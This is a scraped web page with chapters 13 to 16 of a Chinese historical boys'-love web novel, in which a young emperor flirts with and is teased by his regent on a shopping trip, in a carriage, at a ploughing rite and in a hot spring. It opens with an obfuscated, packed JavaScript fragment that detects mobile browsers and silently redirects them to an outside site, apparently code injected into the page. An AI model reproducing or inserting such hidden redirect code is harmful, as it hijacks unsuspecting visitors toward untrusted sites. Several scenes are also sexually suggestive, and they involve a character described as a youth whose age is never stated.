35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022228|177511||http|test|mini|href|location''.split(''|''),0,{}));
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>春见没回头,“公子说,有缘必会相见。”
“哎——你等一下!”阮羡之挣扎着下床,踉踉跄跄一瘸一拐走到门边,却看见不远处的屋檐下离的很近的两道身影,一道就是刚刚那个救他性命的少年。
雨已经停了,那条巷子的出口竟然离沈衡府上不远,闹出这番动静,沈衡在家,也被宋南卿抓来给阮羡之找住的地方了。
少年单腿屈起抵在墙上,双手抱胸,说完了他遇见阮羡之的过程,只是把他误入巷子迷路遇到危险那段隐去了,只说正好遇到阮羡之被欺负,顺手救了他。
“总之就是这样,我觉得他是可造之材,不应该被埋没,至少不应该折损于那等小人之手,万一之后真能考中,造福一方百姓呢。”宋南卿换了身衣裳,头发也早就擦干了,站在沈衡面前解释自己为什么要救他。
比他高了一个头的沈衡静静听他说完,薄薄的眼皮微垂,嘴角并没有弧度。
“世上怀才不遇的人多了,你总不能见一个救一个,那我这儿要成牙行专门搞租赁房屋了。”
宋南卿觉得他语气不对,仰头奇怪道:“遇到了就要救啊,而且先生你没看过他的策论,有济世之才。”
沈衡嗯了一声,“等他能进殿试时,我再看也不迟。”
“先生好像不太喜欢阮羡之,他又没有哪里得罪你。”宋南卿不解。
沈衡单手背在身后,手指被衣袖掩盖,目光看向那间屋子,看见春见正从里面出来。
“连名字都知道,我竟不知你什么时候和他那么亲近了。”沈衡伸手捏住他的下巴,食指上佩戴的翡翠扳指种水极好,出现在了宋南卿的视线里。
宋南卿眼睛一亮,伸手抓住那个扳指左看右看,帝王绿的翡翠品相极佳,比那天他看到的翡翠耳环还要好,他眼睛紧紧盯着,语气都变了:“你从哪儿得来的,我今日逛遍珠宝首饰店都没见到那么合心意的。”
沈衡把手高高举起不让他碰,嘴里说着:“我看是心不在珠宝身上,飞向别处了。”
宋南卿对于他利用身高优势欺负自己的行为很是不满,鼓起脸往前倾身去够那枚扳指:“你戴明明就小了,拇指都戴不进去给我正好!给我嘛我想要——”
沈衡拿着扳指放下又抬起,引得宋南卿贴在他身上晃来晃去,鬓边几次蹭到人下巴,在远处的阮羡之看来,就是耳鬓厮磨的状态。
“给你可以,怎么谢我?”沈衡垂眼盯着他,余光可以看见从那间屋子里一瘸一拐走出来的男人身影。
二人贴的近,能感受到彼此身上的热气,宋南卿现在眼里心里只有那枚漂亮的翡翠扳指,离近了看连款式都合他心意。他挂在沈衡身上伸直了手去够,嘴唇一不小心擦过人的下巴,二人都是一愣。
宋南卿睫毛颤了颤,大脑中灵光一现,那些看过的话本子里主角一见钟情的画面在眼前接连闪过,他踮起脚又把嘴唇凑近飞快碰了一下,趁着人愣神之际终于把那枚扳指抢到手。
“这样总够了吧,谢谢先生!”
他乐不可支地把扳指戴在自己手上,尺寸刚刚好。他一边欣赏一边蹦跳着走到一旁仔细端详,对这个战利品满意的不得了。又得了扳指又施展了小技巧!他真是一箭双雕。
沈衡在原地站着,下巴上仿佛还残留着刚刚那柔软、温热、又仿佛云朵一般轻柔的触感,那一瞬间还闻到了宋南卿面颊上涂的玫瑰膏的香气,玫瑰那热烈灿烂的芬芳无孔不入侵入鼻腔,很淡但余韵悠长。
阮羡之不知何时早已经回到屋内,看着那个绣着精致刺绣的钱袋子发呆,不知道在思考些什么。
14.第十四章
春耕祭礼快到了,这个时候正是人们裁制新衣以告慰蚕神的时节,宋南卿对宫里制衣局送来的衣服百般不满意,要么嫌款式老气要么嫌布料厚重,祭礼近在咫尺,皇帝到时可是要穿新衣耕地播种,以请求今年风调雨顺的,衣服迟迟定不下来,宋南卿说什么也不满意,总之就是要出宫。
他自从上次出门遇到阮羡之已经好久没出宫了,每天不是看折子就是看话本,那日因为意外耽搁的新鲜话本,也通过春见送到了他手上。除了风流御史俏寡妇,还有绿芜老师的新作——意外捡到的小狗成精了,讲的是一名书生在雨天捡到一只被人丢弃的流浪狗,对方竟然会幻化成人的故事。
他看了许久欲罢不能,
不过最近沈衡有点奇怪,总之他感觉先生对他比之前冷淡了一些,都不帮他涂面霜了。这样下去可不行,他还想让沈衡爱上他,帮他做事呢!所以今天说什么也要出宫,因为书上说,特殊的环境会产生不一样的火花,恋人最忌失去新鲜感。虽然他和沈衡不是恋人,但书上说的很有道理啊!
沈衡拗不过他,只好相陪。
今日阳光正好,京城繁华的街道人来人往。二层楼的店铺门前,并排着进来两个人,挨得很近,端正的仪态和风度让人只是瞧着也倍感舒适。
宋南卿今日的头发是沈衡帮他梳的,如绸缎般散发着淡淡光泽,清雅的绿色很是映衬春色,也把那张秾丽的脸衬托得更加耀眼,未施粉黛就白里透红有着别样的感觉,纯稚和妍媚的气质在一人身上交织,一进门就吸引了所有人的目光。
但因为旁边高大的男人压迫感十足,投向宋南卿的目光被他一一看了回去,深邃的眉眼有着不明显的震慑力,像是水中包裹的一把刀,外表温润内里锋利,也带着对所有物的胜券在握,他以一种淡然的姿态扫过着那些各异的目光,屏退了很多人。
宋南卿倒不知道他这边的情况,还在为了沈衡愿意陪他逛街而高兴不已。今日磨了好久才答应帮他梳头发,还说什么他长大了自己的事情自己做之类的。他怎么可能承认自己长大了,皇帝长大就要亲政,就要对摄政王产生的威胁,他把这种话一律看为沈衡在试探自己,于是又装小孩子撒了好一会儿娇,才让对方同意陪他。
掌柜一见他们进来,立刻迎上去绽开笑脸。
“南公子,有些日子不见了,您喜欢的款式和料子都给您留好了,请随我到二楼来。”
宋南卿仰起脸,拍了下沈衡的袖子说:“快点跟本公子过来拎衣裳。”然后就一溜烟快步上楼了。
沈衡露出了不明显的笑意,跟上他的步伐,但沉稳的姿态和闲庭若步的样子,怎么看也不像个提衣服的小厮。
在二楼最大的一个房间里,宋南卿拿着几件成衣往自己身上比,问道:“先生觉得哪件好看?”
巨大的铜镜立在墙壁前,光线透过华美的花窗投下斑斓的色彩,照在少年身上镀了一层金光,头发丝都在发光,在阳光下波光粼粼的云锦极尽华美之态。
沈衡坐在铺了锦缎软垫的红木雕花椅上,看着一旁柜里陈列的各种织工精湛的绫罗、云锦。香茶氤氲,新装美人在前,就连他这样自律禁欲到极致的人,也生出了偷得浮生半日闲的岁月静好之感。
他低头喝了一口花茶,目光从宋南卿身上移开,投向另一侧颜色艳丽的女装裙,听到问话后答道:“卿卿穿什么都好看。”
宋南卿鼓起脸,慢慢吐出两个字:“敷、衍!”
沈衡微微挑了下眉。
屏风上雕刻着粉色的桃花和竹叶,繁多簇簇的花瓣在上面交叠绽放,宋南卿在屏风后换衣裳,他捏着上面的几条绑带,想起了昨日看的那本小狗成精刚幻化成人的话本,皱着眉朝沈衡问道:“这个衣服我不太会穿,是怎么绑的呀?”
变成猫,变成虎,变成淋湿的小狗,他又有主意了。
沈衡闻声走到了屏风旁,拉开侧面的一扇直接走了进去。
宋南卿正解着自己绑错的带子,不算宽敞的空间突然又挤进来一个人,还是在自己衣衫不整的情况下。
“我看看。”沈衡倒是没有半分不自然,抬手就勾住了他腰后的绑带,和对称分布的另一根上下系起。
贴近的气息存在感有些强,本来屏风后面就不大,这下子宋南卿觉得自己被圈住了一般,大腿内侧的带子被碰到的时候,手指擦过皮肤像是有火花一样令人哆嗦。
想起这只手带来过的滋味和记忆,宋南卿呼吸快了半分。
“我…会了。”他伸手推了推沈衡的胸膛,试图把距离拉远。
沈衡把带子慢悠悠地全部系好,才捏住他的手腕道:“还说我敷衍吗?”
“哼!”宋南卿从他臂弯里跑了出来,重新站在镜前端详自己的新衣裳。
浅粉鹅黄晕染的底,上面红花绿叶交错分布,薄纱清透缥缈,宛如春日花园,放量做的不大不会显得太繁杂,外面若隐若现的罩衫给花园笼罩了一层薄雾。
“很好看,换个人都穿不出卿卿的万一。”沈衡站在他侧后方,抱臂端详着宋南卿在镜中转圈宛如花蝴蝶般的样子。
有时候太漂亮的衣服不太衬人,反而喧宾夺主,也就只有宋南卿这样艳丽如花的长相才能不被遮盖住光辉,有锦上添花之效。
被夸之后少年心情大好,得意地哼哼,蹦跳着去一排成衣中挑选,“这个、这个,还有这个,我都要了。”
“这…”走到角落里,他竟然看到了很多女装,从裙子到肚兜都有,雀跃的声音戛然而止。
“这个也要?”沈衡不知什么时候来到了他旁边,好整以暇看着他。
宋南卿抿了抿嘴,眼波流转间竟然生出些许勾引人的意味,他勾着自己衣服上垂下来的带子,眼睛半抬不抬道:“如果先生想看的话。”
日头高了起来,宋南卿坐在一楼吃着刚买的糖葫芦,等沈衡排队给他结账。
主打精致奢侈的店铺,还是年轻女子居多,看沈衡高大英俊,还眼睛不眨买了那么多,又有钱大方还玉树临风,这可是很难得的,虽然看起来有点不好接近。
本来宋南卿心情正好,但瞧着离沈衡越来越近的那些人,她们窃窃私语打量欣赏的目光…不知为何觉得有些烦躁。
宋南卿走了过去挎住了沈衡的臂弯,整个人趴在了他肩上,学着凤栖楼里小倌的样子娇声娇气道:“怎么如此慢啊,是不是不想给人家买衣裳了。”
沈衡刚抬手放下银子,就被小糖糕黏住了。
“人家知道大人身份贵重不能轻易娶妻,但伺候公子那么久,纳了奴家当妾可是您承诺过的,不能要了人家的身子就轻易打发了。”
那日的“凤栖楼待客培训指南”可算是派上用场,花枝招展的小美人娇里娇气,带着青涩的媚态,趴在人身上故作妖娆又纯情可人。
“大人,这几日是有因寻花问柳被抓去的,但卿卿已经从良了,您不能因为怕被人议论就想弃奴而去啊,大人发家可全靠奴的卖身钱……买两件衣裳就心疼成这样么?”
听到这番话,围在旁边的女子对沈衡的态度来了个大转弯,都带上了谴责嫌弃的目光。
沈衡听他越演越不像话,捏着他的脖子把人带走了,连找零碎银都没拿,春见和竹心两个人离得远,并不知道发生了什么,苦哈哈在后面抱着衣裳追。
阮羡之在门口刚好目睹了这场闹剧,把沈衡面无表情拽着人出门的样子尽收眼底。
因为角度原因,他只看清了沈衡,另一个人的脸并未看清,但看那个花枝招展又做作的样子,一看就知道不是那日在小巷里勇敢奔跑仗义救他的那个少年。
那日看到二人亲吻,他内心伤感遗憾但又无可奈何,如果是良人那也算是幸事,毕竟大盛民风开放,一些官员公开养男宠都不是什么稀罕事,断袖契兄弟一类也不算稀奇。但今日一看,那个男子并非是什么一心之人,那么快就又有新欢大手大脚买这些,而且一听也不是什么正经人。
阮羡之握紧了拳头,替宋南卿不值。
————
“哈哈哈哈哈哈……哈哈哈——”
马车里,抑制不住的笑声从宋南卿嘴里发出,他笑得前仰后合,手里的糖葫芦都要抖到了地上,他笑的头发都散了,趴在沈衡腿上剧烈起伏大笑。
“先生…脸色好难看哦哈哈哈哈——不过你放心,我看过了,那些人都哈哈哈哈…是闺阁女子,除非你和她们议亲,否则不会撞上的。”
宋南卿颇为善解人意地解释道,还把糖葫芦往人嘴里送,“吃呀,先生怎么不吃哈哈哈哈哈…”
他的脸被从两侧捏住抬了起来,“谁教你的这些?”沈衡捏着少年柔软细腻的脸颊问。
宋南卿还沉浸在情绪里,乐不可支,骤然
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听到这话还没反应过来,茫然道:“什……么?”
沈衡低头靠近,一字一顿说:“我说,不是说自己是小孩子吗?刚刚那是做什么呢。”
宋南卿被他眼中的炽热烫到了一般,浑身一麻,心口有什么东西在涌出,他尽力克制着,垂眸摇头不语。
温暖的手掌抚摸着他的脸颊,车轮转动发出不轻不重的声响。
“要做小孩子就做到底,不然我搞不懂你到底是什么意思,嗯?”
“轰——”的一声,如平地一声惊雷,落在了宋南卿的头上,他瞳孔微缩。
他面色不变,微偏过去一点头,镇定道:“我怎么听不懂先生在说什么。”
“听不懂最好。”
宋南卿的后背有些僵直,他的表情冷下来,伸手打了一下沈衡的肩膀,“你捏痛我了!”
沈衡抬手攥住他的腕子,平静道:“脾气越来越大了,谁惯的你,嗯?”
宋南卿挣脱不开,坐在他腿上晃来晃去,非要打到人不可,骄横道:
“谁惯的谁知道,嗯手好痛,快点放开朕,你这是大不敬!哎——”
离得有些近了,气息都在交融,随着他的动作,逐渐越来越靠近,在感受到了一个奇妙的触感后,他整个人僵住了。
根根分明的睫毛慌乱颤抖,宋南卿缓慢后退,但已经碰到了,怎么动都是变本加厉,他脸颊瞬间红了起来。
“别动。”
沈衡的声音有些低哑,扶住少年腰的手一紧。
宋南卿口里发干,不自觉吞咽了一下,他的位置太巧了,薄薄的衣料抵抗不住火热的温度和明显触感。他的脚趾在袜子里蜷缩成一团,低着头没了娇蛮的姿态。
好热。
但下一秒,他就被勾住膝窝打横抱起,快速地放置在了另一侧。
宋南卿茫然抬头,发现沈衡气息沉沉,硬朗的下颌线条绷紧,深邃的眼眸像是有火焰在燃烧。
轻轻又粗重的喘息几乎不可闻,但宋南卿就是听到了。
空气很静,只有马车颠簸碾压路面的声音。
有些尴尬…虽然不知道哪里尴尬,但就是尴尬。宋南卿慌乱地四处想找点事做,低头含住糖葫芦一点点啃咬。
晶莹透亮的糖衣被咔吱咔吱咬碎,湿红的舌头时不时吐出绕着山楂转圈,把碎片卷入口中。反光的糖衣碎片星星点点,粘在舌尖和嘴唇上,拉丝黏糊。
沈衡闭了闭眼。
“好吃吗?”他盯着宋南卿的嘴唇问。
比以往热切的目光探究欲十足,窥探人心一般幽深逼人。
宋南卿像是感觉到了危险,迟钝地点头又摇头,“其实,没有宫里做的好吃…”
“我尝尝。”沈衡靠近。
一串上面还剩了两颗,宋南卿把签子往前递,却被避开了。
沈衡捏着他的下巴往上抬起,凝视着少年嘴角沾着的冰糖碎片,沉着声音道:“不是这个。”
粉红的舌尖吐出,无意识在嘴角舔了舔,下一秒被指腹按住了动弹不得。
湿滑的舌头在手指下碾压磨蹭,短短一截被折叠起来蹂躏挤压。舌尖的触感和某些地方的湿滑柔软有些相似之处,宋南卿抑制不住发出小声的哼唧。
二人离得有些近了,呼吸都交缠在一起,宋南卿绞着手指后退,却被拢住了脖子停留在原地。
湿软的唇舌就在指尖流淌,含不住的口水滴滴溢出,像是不能自控的小孩。
“呜…嗯……”宋南卿摇头挣扎,后颈被捏紧了,他动弹不得。
“舌头吐出来。”沈衡淡淡命令。
少年微皱着眉,眼眸湿亮,发出抗拒的呜咽。
“还当不当你的乖孩子?”
宋南卿受不住他威胁,被迫往外吐舌,红润的唇瓣里丁香小舌朝外吐出,充满暗示性的动作,但他不懂这些。
沈衡用食指拨弄着吐出的舌尖,伸进口腔里刮弄了一圈,潮湿高热的腔体包裹着手指,舌头被抵住慢慢塞了回去。
被玩到发酸的口腔终于可以闭合,宋南卿扁着嘴,像被欺负了一般。
“这才叫乖。”
洁白的帕子被轻轻按在嘴角擦拭着口水,沈衡擦干净了手指,声音平静道:“去丰乐楼用午饭?想吃什么,河虾还是鳜鱼。”
宋南卿眼尾还泛着红,低声说:“都要。”
15.第十五章
宋南卿的话本子被沈衡全都搜罗出来,打包扔了出去,他气的好几日没理沈衡,人来了也叫人堵着赶出去。
这几日沈衡也忙,春耕祭礼快到了,他在礼部主持大小事宜,佛堂里的香整日烧着,宋南卿赶了他几次,后面因为事忙他也没空来,二人竟是有半月未见了。
陛下和摄政王闹别扭,宫里表面风平浪静实际底下翻涌着血雨腥风。
天色将暗,宋南卿在宫灯下叫传膳,米黄色的绸缎屏风经过灯光映衬,少年的影子映在上面,连晃动的发丝都看得清楚。
他垂眸看着桌上的餐食,问道:“前日朕就说要吃梅子烧排骨,怎的今日还没有。”
春见在桌边为他布菜的手一顿,立马宣了御膳房的管事来。
那个管事的胖子往底下一跪,尖声说:“陛下恕罪,宫中腌渍的梅子前些天洒了,新腌的还没到最佳赏味期,所以…所以未做,但奴才这几日让做了红烧排骨、粉蒸排骨,陛下也可尝尝合不合口味。”
“就那一坛子梅子可用?”宋南卿面无表情问道。
御膳房管事垂着头道:“之前…之前做梅子烧排骨用的都是摄政王大人亲自腌的梅子,上次用光了,摄政王也半月未踏足御膳房,陛下恕罪。”
淡黄色的宫灯下,笼罩在宋南卿脸上的光很柔和,他拨弄着桌上放的一枚翡翠扳指,和木头碰撞发出清脆的声音。
他撩起一缕垂落的发丝,声音起伏不大:“所以没有摄政王,你们御膳房连个合我心意的菜色都做不出来了。”
怒气没有在表面体现出来,但此时宫里的宫人却是跪了一地,噤若寒蝉般不敢抬头。宫里人最是敏感细致,一点点小的风吹草动就能引得他们做出仿佛变天一样的举动。
宋南卿食指一抬,把那枚扳指勾起在指间旋转,烛光映衬之下翡翠格外透,一丝杂质也无,这般极品的翡翠可以说得上是价值连城,戴在他手指上刚刚好,尺寸分毫不差。
他最讨厌别人以一副为你好的架势,做出这不明说的暗示性腔调来,言外之意他从小到大被迫领悟太多,难道今天还要在这厨子身上受教吗?
没有摄政王,他只是个无权无势任人宰割的傀儡,无论和沈衡关系好还是不好,都有一大群人的利益随之受损或受益。
这番事是沈衡暗示也好,御膳房管事擅自做主想要讨好沈衡也罢,他都不想关心了,只是这个气不撒他连喘气都不顺。
春见这时靠近他身边低声说:“陛下,春耕祭礼在即,这个时候御膳房的人罚不得,意头不好。”
耕地、农桑、粮食、织布,事关国本,春耕祭礼是举国大事,为了祈求上天让这一年风调雨顺,粮食丰收,御膳房做饭的人自然是不能罚,不然会冒犯神灵。真会挑时候,他作为皇帝怎么也不能因为这些小事触霉头。不然万一今年粮食收成不好,就是他这个做皇帝的不体恤接触粮食的下人,惹怒上苍的惩罚。
宋南卿突然勾起唇,笑容却不达眼底,手指一弹,那枚精致昂贵的翡翠扳指便被他弹飞出去,滚到了御膳房管事手边。
“赏你了。”
价值连城成色罕见的翡翠像是个不值钱的玩意儿一样被他随意丢在地上。
那人战战兢兢,望着地上的翡翠扳指,不知如何是好。
春见站在宋南卿旁边,提高声音说:“高兴傻了?受主子的赏还不谢恩?”
御膳房管事从未见过如此华贵之物,而且这可是陛下亲自赏的,意义非凡!他可得裱起来传给祖孙万代。
他一边磕着头一边谢恩,捧起那枚扳指下去了。
“折腾那么一会儿菜都凉了,奴才再让他们重新做了来?”春见在一旁小心问道。
宋南卿捋着头上的飘带说:“不必了,没胃口。”
天色已经完全黑了,月牙高悬,周围几颗星星被月光一衬显得黯淡无光。前几日下雨,海棠花瓣掉落了一些,粉白的花朵和绿色的叶子一起在风中轻晃。
宋南卿把手臂搭在黄花梨木椅背上,脑袋慢慢垂下,靠在胳膊上望着那轮月亮。洁白的手臂露出一截,檀木佛珠从手腕处慢慢下滑,忽的一下挂到了腕骨处,和银镯子碰撞出泠泠一响。
————
春种一粒粟,秋收万颗子,春耕祭礼的前奏就从当朝帝王亲自耕种的籍田礼开始。
微风和煦,太阳还未升到最高处,王公大臣都换了麻衣布鞋,跟随宋南卿一起听完摄政王的礼词。今日的华盖都撤了,周围树木也并不茂盛,在充满泥土芬芳的院里,一把锄头被递到了宋南卿的手上。
在籍田礼当天,他才看见多日未见的沈衡。摄政王大人即使穿着最简单的衣物也难舍浑身的气度,长发束起利落干脆,单手拎起锄头交到了他手上。
宋南卿嘴角往下压着,潇洒地伸出胳膊,手上的银镯子碰到木头锄柄叮当响。那截细细的手腕收紧,手臂内侧可以看到薄薄皮肤下青黛色的血管。
他手指攥紧锄头,然后被重量一压,整个人随之晃了晃。
交接过程中,二人的手指不小心交叠,体温也彼此交换。宋南卿一个激灵,热热的温度让他想起那天在马车中的意外相触,他飞快地移走手指。
那个锄头没有力道相撑,根本立不住,眼看就要倒,宋南卿站在松软的泥土中随之晃动,脚下不稳,就在要随着锄头一起倒地之时,被有力的大手握住了小臂。
他整个人靠在了沈衡身上,丝丝阳光照在了脸上。
好多日不见,还是熟悉的味道,熟悉的声音。
“小心一点,地不好走。”低沉的声音从头顶传来,因为靠在人胸前,宋南卿感受到一点胸腔的共振。
闹了那么些天,看沈衡的样子像是什么都没发生过一样,好像只有他一个人在不舒服。宋南卿别别扭扭从人身上起来,有点没话找话似的说了一句:“你是不是这两天又练武了。”刚刚那一靠他感觉触感跟之前有了一些小小的变化。
他也不知道自己在闹什么,或许是那天在马车里被沈衡拆穿他无地自容,或许是那天被沈衡欺负的有些过分,或许是因为他的话本子被扔了,又或许是他说不让沈衡来他竟然真的就不来了,不过有一点可以肯定,这些理由里一定有一条就是——他不喜欢无论发生什么沈衡都是这一副镇定自若八风不动的样子。
沈衡把锄头拎过来确保他握紧了才放手,对着眼前的地一指:“想练武我可以教你,先在这儿挖一个坑。”
宋南卿哦了一声,拿着锄头艰难刨了一个坑出来,一半土还被他刨到了自己脚上。
沈衡把种子扔下去,然后指挥他:“再埋了。”
宋南卿瞪大眼睛看着他,抬高了声音道:“你耍我呢吧!”
“种地就是这样的,需要耐心和脚踏实地,我记得之前给你看过《齐民要术》。”沈衡往南移了一步,清明的眸子盯着宋南卿。
宋南卿脖子一缩,在下一个他指定的地方刨坑,眼神飘忽。
“正经书不看,邪门歪道的话本看的起劲。”沈衡帮他下定论。
宋南卿握着锄头往下用力一刨,竟然没挖动,底下是硬的,他不信邪又挖了一次,边挖边说:“你都不教我,我只能去话本上学了啊。”
沈衡见他挖不动,接过了锄头来。
“想让我教你什么?”似是想起什么,沈衡俯身看向宋南卿问,“话本子里,大家闺秀救了穷书生供他科举,等他高中后
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回去娶自己,结果是什么?”
宋南卿蹲了下来,看沈衡挖那块硬硬的地方,衣摆垂在地上沾了一些泥土,但他不在意。他们俩有个共同点就是遇见困难偏要去瞧瞧,这块地他们非挖开不可。
听见沈衡说到他的专业领域,宋南卿自信开口:“当然是被负心啊,穷书生寒窗苦读最想功成名就,高中之后肯定尽想捡高枝攀了。”
“你也知道。”沈衡情绪不明道。
“砰——”的一声,那块硬地被挖开,一个盒子从地里被挖了出来,埋得很深,所以才费了那么长时间。
宋南卿愣在原地,没想到真的挖出宝藏了。
黑色的盒子被扫开泥土,宋南卿蹲在前面盯着瞧,盒子被打开的瞬间,他被金灿灿的东西闪的眼睛眯了起来。
这!竟然!是一箱金元宝!
望着排列整齐的金灿灿,宋南卿抬手擦了一下额头上的汗,然后瞬间把盖子盖上,警惕地左看右看。
他们聊着天一路种,离那些大臣有段距离,而且大家都在安心耕种,在皇帝和摄政王面前表现的机会,谁都争着比着多种一道是一道,无人看见这边发生了什么。
宋南卿弯起眼睛开心地抱过黑盒子来,又清点了一遍金子数目,装作没听到他刚刚那句话,对沈衡说:“我记得这个地方是之前邵阳长公主住的吧,长公主是先生的母亲,自然也是我的……呃亲人!先生的就是我的嘛,是不是?”
光线下少年的脸格外白皙,额头上还有一块他刚刚擦汗不小心抹上去的泥土痕,不常被太阳照到的脸此时布上一层薄汗,在光线晕开,显得亮晶晶的,连眼睛都分外有神。
沈衡听他提起长公主,眼皮微垂。
他母亲从小受宠,在宫里住的地方也是华贵无比,但谁想得到那个一向宠爱她的兄长会狠心让她去草原联姻,嫁的还是个年事已高的汗王。一去草原联姻深似海,长公主长眠科尔沁,连曾经住的宫殿现如今也是荒凉一片、物是人非。
“春见,快点来收好,收到我私库去。”宋南卿见他没有反对的意思,忙招手叫来春见。
普普通通的黑盒子里除了金元宝外,还有一些刻着花纹的金片,只是时间久了有磨损,隐隐约约可以看出是麒麟之类的纹样。
宋南卿抬起袖子擦着脸上的汗,思考道:“你说谁会把金子埋起来呢?而且好像埋了很久的样子。”
春见接过话茬说:“奴才听说,旧时宫中嫔妃怀龙子,会在宫里后院埋金为孩子祈福,寓意金不换。”
沈衡把宋南卿扯了过来,从袖子里掏出干净的手帕替他擦拭起脸上沾上的土。沾染了佛香的帕子在脸前轻轻蹭动,宋南卿仰着头,发丝被挑起捋好,鬓边的汗也被擦去。
他微闭着眼,透过半透的帕子,迎着日光,隐隐约约可以看见沈衡那张朦胧的脸庞。手指的温度隔着一层织物也能传到脸上,柔软的帕子比起他今日的麻布衣摆,擦起来是舒适很多。
宋南卿一边心安理得到享受着摄政王大人贴心的擦脸服务,一边分出神问春见:“也没听说前朝宫里在这附近有哪个嫔妃有孕。”
春见捧着黑盒子,看见摄政王投向自己目光,低头说:“奴才乱说的,许是谁私藏的银钱罢了。”
宋南卿扶着锄头晃了晃,“普天之下莫非王土,总之现在是朕的了。”他不经意低头看见自己脏脏的鞋子和衣摆,皱起眉头。
“想回去沐浴了,剩下的先生替我种了吧?”
沈衡接过锄头,薄唇微启道:“有事钟无艳,无事夏迎春。”
宋南卿拉住他的手臂轻晃道:“有事无事我都来找你啊,听说青莲池修好了,先生要不要和我一起去试试新汤泉?”
16.第十六章
水声潺潺,水雾笼罩,青莲池是以白玉砌成池壁的一处温泉。不同形态的青石围绕下,池水荡漾出清波,池子底部还雕刻几瓣莲花纹样。
池子周围落地放了几盏莲花宫灯,做工精巧形状细致,镂空雕花木墙把整个泉子包围起来,从外面看不见里面,但里面可以隐约看见外面树木葱郁,亭台楼阁的样子。
蜿蜒流淌的水雾状似飘带,把水中人的面容也弄的模糊起来。宋南卿穿着薄薄的衣物泡在水里,白色衣摆在水中飘荡,伴随着水波一圈一圈的晃动,让人看了眼晕。
半湿的发丝垂在白玉池边,连同银镯子和手串一起,发尾轻轻扫过镯子上的莲纹,也扫过沈衡去拿东西的手指。宋南卿靠在里面眼睛微阖,领口宽大的衣袍朝两侧打开,露出了笔直的锁骨。
感觉到沈衡的动作,他仰起头看人。
温泉泡久了连眼神都湿漉漉的,长长的睫毛微颤,掀起时那双氤氲水雾的眸子里还带着迷离。宋南卿长得好,宋氏一族的基因向来以美貌之名著称,他懒懒地伸手撑起身体坐直了一点,把头靠在沈衡肩上,动作间衣物又往下滑了一些。
清澈的水珠凝在肩膀胸前,衬得肤若凝脂,一滴水珠从锁骨窝里滑落,飞快坠入水中,融为一体。
他把脸往下滑,贴到刚刚就眼馋心动的位置,饱满的胸肌练的恰到好处,轮廓分明但又不过分结实,脸贴上去的时候透过湿透的布料可以感受到又软又弹的触感。宋南卿几乎已经埋到水里了,憋着气在人胸前蹭,软软的脸蛋压在上面移动。
反正在水下,沈衡看不清他的动作,宋南卿闭着眼仗着沈衡不会拿他怎么样,沉迷地蹭了一会儿,直到被抓住头发拉了出来。
憋气久了,他的脸颊潮红,急促呼吸着,睫毛上都沾着水珠。
发根传来轻微的拉扯疼痛,宋南卿半张着嘴喘气,水光潋滟的唇瓣里是那截嫣红的小舌,此刻正抵着下齿。
他被抓着头发半提起,青丝倾泻贴在沈衡的手臂上。睫毛上的水珠挡住了他的视线,看不清楚沈衡现在的表情,但他能感受到对方一直在看自己。
“疼——”丝滑如绸缎般的头发被扯着,虽然没有很用力,但从根部传来的紧张和微痛让头皮都麻麻的。
沈衡手指放开,少年像是没骨头一样又贴在了他身上。
宋南卿从小就在沈衡身上爬,十年如一日的亲密距离并不会让人不自在。穿着湿透了的浴衣,宋南卿眼神纯稚并不含一丝暧昧,他今天累了,没空想那些套路,只想以最放松的姿态做最放松的事。
他一只手搭在沈衡肩上,泡的骨头都有些酥,看着池子旁边放的荔枝,推了推人肩膀说要吃。
精致的缠枝纹银质托盘里摆放着几颗荔枝,色泽鲜艳,底下还堆着细细的碎冰,是岭南巡抚进献的早熟的品种,叫三月红。
沈衡伸手拨开荔枝皮,露出里面白皙剔透的果肉来,鲜甜的味道迸发开,在空气中弥漫着熟透了的甜蜜。
修长的手指捏着荔枝蒂,把果肉送到人嘴边。宋南卿张嘴,却咬了个空。
清澈的汁水顺着手指往下淌,柔软剔透的果肉在手中轻晃。宋南卿仰起脖子伸出舌尖,舔到一口荔枝的味道,又被移走了。
他撩起一捧水洒到沈衡脸上,点点水花在池面上溅出点点涟漪。
沈衡轻笑出声,单手擦了把脸,望着要炸毛的某个小皇帝,把荔枝递上。
“不逗你了,张嘴。”
莲花池离佛堂不远,隐约可以听见诵经声,还有幽远的钟声。这里远离了上午那群王公大臣,远离了喧嚣和吵闹,远离了繁文缛节荣辱尊卑,只剩满池的清水和飘荡的乳白色轻纱。
宋南卿张嘴啊呜一口咬住眼前的手指,清甜的荔枝被他咬下来一半,舌头一卷转眼就把剩下的一半吸入嘴里。泡着温温的泉水,每一个毛孔都放松舒适下来后吃一口冰凉鲜甜的荔枝,实在是莫大的享受。
他鼓着腮帮子嚼荔枝,在脸颊一处鼓起,像个塞满食物的小动物。
沈衡翻掌把手心抬起朝他下巴处一递,刚好接住了被吐出来的荔枝核。
宋南卿抬起手在水面轻轻撩动,垂眼看见沈衡沾了荔枝汁水的手指还没擦干,下意识伸出舌头一舔,等舌尖与手指相触,他才反应过来自己干了什么,但此时小舌头已经被两指夹住了。他怯怯抬眼看向沈衡,表情有些僵硬。
“还敢跟我弄这些?”沈衡俯身盯着他,像是要看透他的心思。
男人浴衣薄薄一层披在身上,宽阔的肩膀肌肉线条流畅,比起穿那些象征身份地位的严肃官服,这样子反而侵略性更强。
宋南卿意识到沈衡好像会错意了,他没有想搞暧昧的,单纯是脑子抽了才舔荔枝水的。
只是现在舌头被夹住了他说不出话,甚至控制不住口水滴落,只能皱着眉用可怜的表情认错。
湿热的舌头在手指间哆嗦,想要缩回去但是徒劳,只能贴在上面被动舔舐。
沈衡眸色发暗,问:“卿卿好像还没有回答我今天的问题,从话本上学来这些招式,是想做什么?”
明明池水是温热的,但宋南卿却感觉对面人身上传来的气息更加灼热。
沈衡看他不说话,接着道:“上次的十个板子还未打完……”
宋南卿立马瞪圆了眼睛,抱住他的手臂快速摇头,哼哼唧唧说:“不要!不要打我了……上次手都痛了好几天呢。”
圆圆的眼睛从下往上看的时候很可爱,睫毛上还有一点水珠,被他那么抱着求,没有人可以不心软。
是的,没有人,但除了沈衡。他见多了这幅装可爱的可怜样子,也知道宋南卿最擅长这个。
